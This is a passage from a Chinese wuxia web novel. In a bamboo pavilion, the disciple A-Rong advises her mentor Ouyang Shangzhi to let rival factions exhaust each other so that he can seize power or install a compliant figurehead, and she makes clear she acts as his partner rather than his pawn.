    阿容的目光清澈见底,映出欧阳上智眼中逐渐炽热的光芒,“铁龙帆与八珠联之争,是一个巨大的漩涡,也是绝佳的掩护与杠杆。在漩涡边缘观察,在杠杆适当的位置施加影响,让各方势力在漩涡中消耗、重组、暴露出更多的底牌与弱点……当尘埃渐落,新的格局雏形显现时,那个武林至尊的位置,或许才会呈现出最清晰,也最合适的轮廓。届时,先生再决定,是亲自坐上去,还是……安排一个最听话的人坐上去,并在背后,握住真正的权柄。”


    竹亭内一片寂静,只有风过竹梢的轻响。


    欧阳上智深深地看着阿容,仿佛第一次如此清晰地看到,这个自己一手教导、却又始终无法完全掌控的作品,其思维的深度与视野的广度,早已超越了他最初的预期。她不仅是一把无坚不摧的刀,更是一面能映照出局势所有微妙棱镜的,冰冷而精准的镜子。


    “安排一个最听话的人坐上去……”欧阳上智低声重复着这句话,嘴角慢慢勾起一个复杂难明的弧度,那弧度里有赞赏,有忌惮,也有一种棋逢对手般的兴奋,“阿容,有时候我真不知道,教你这些,是对是错。”


    “对错由心,利弊由人。”阿容放下手,夜月重新飞回她肩头,“先生教我生存,教我认知这个世界运转的规则。如何运用这些规则,达成何种目的,是先生自己的选择。我只需履行我的承诺,并在过程中,完成我自己的……修行。”


    她的语气依旧平淡,却清楚地划定了界限:她是合作者,是规则的执行者与局势的分析者,而非纯粹的棋子或附庸。


    她助他,是基于师徒情分与等价交换的逻辑,也有她自己践行活着之道,观察人性与世情的需要。


    欧阳上智听懂了这层意思,他沉默了片刻,最终缓缓点头,那股试探与激赏交织的锐利渐渐收敛,重新披上那层苍老平和的伪装。


    “走吧,此地不宜久留。”他转身,率先向竹林外走去,“这场戏,才刚刚拉开序幕。我们……且行且看。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)